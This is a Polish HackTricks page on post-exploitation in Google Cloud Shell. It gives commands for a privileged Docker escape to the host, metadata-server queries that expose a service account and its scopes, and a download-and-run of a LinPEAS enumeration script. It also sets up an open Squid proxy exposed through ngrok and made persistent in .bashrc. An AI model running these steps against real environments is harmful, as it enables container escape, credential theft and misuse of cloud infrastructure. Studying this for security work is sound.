GCP - Cloud Shell Post Exploitation

Wesprzyj HackTricks

Cloud Shell

Aby uzyskać więcej informacji na temat Cloud Shell, sprawdź:

GCP - Cloud Shell Enum

Ucieczka z Kontenera

Zauważ, że Google Cloud Shell działa wewnątrz kontenera, możesz łatwo uciec do hosta, wykonując:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

To nie jest uważane za lukę przez Google, ale daje szerszą wizję tego, co dzieje się w tym środowisku.

Ponadto zauważ, że z hosta możesz znaleźć token konta usługi:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Z następującymi zakresami:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Wylicz metadane za pomocą LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Po użyciu https://github.com/carlospolop/bf_my_gcp_permissions z tokenem Konta Usługi nie znaleziono żadnych uprawnień...

Użyj go jako Proxy

Jeśli chcesz użyć swojego egzemplarza powłoki Google Cloud jako proxy, musisz uruchomić następujące polecenia (lub wstawić je do pliku .bashrc):

sudo apt install -y squid

Tylko po to, abyś wiedział, Squid to serwer proxy HTTP. Utwórz plik squid.conf z następującymi ustawieniami:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

Skopiuj plik squid.conf do /etc/squid

sudo cp squid.conf /etc/squid

Na koniec uruchom usługę squid:

sudo service squid start

Użyj ngrok, aby umożliwić dostęp do proxy z zewnątrz:

./ngrok tcp 3128

Po uruchomieniu skopiuj adres url tcp://. Jeśli chcesz uruchomić proxy z przeglądarki, zaleca się usunięcie części tcp:// i portu, a następnie umieszczenie portu w polu portu ustawień proxy przeglądarki (squid to serwer proxy http).

Dla lepszego użytkowania przy starcie plik .bashrc powinien zawierać następujące linie:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Instrukcje zostały skopiowane z https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie wszelkiego rodzaju oprogramowania (bazy danych, a nawet systemy Windows) w Cloud Shell.

Wesprzyj HackTricks

Last updated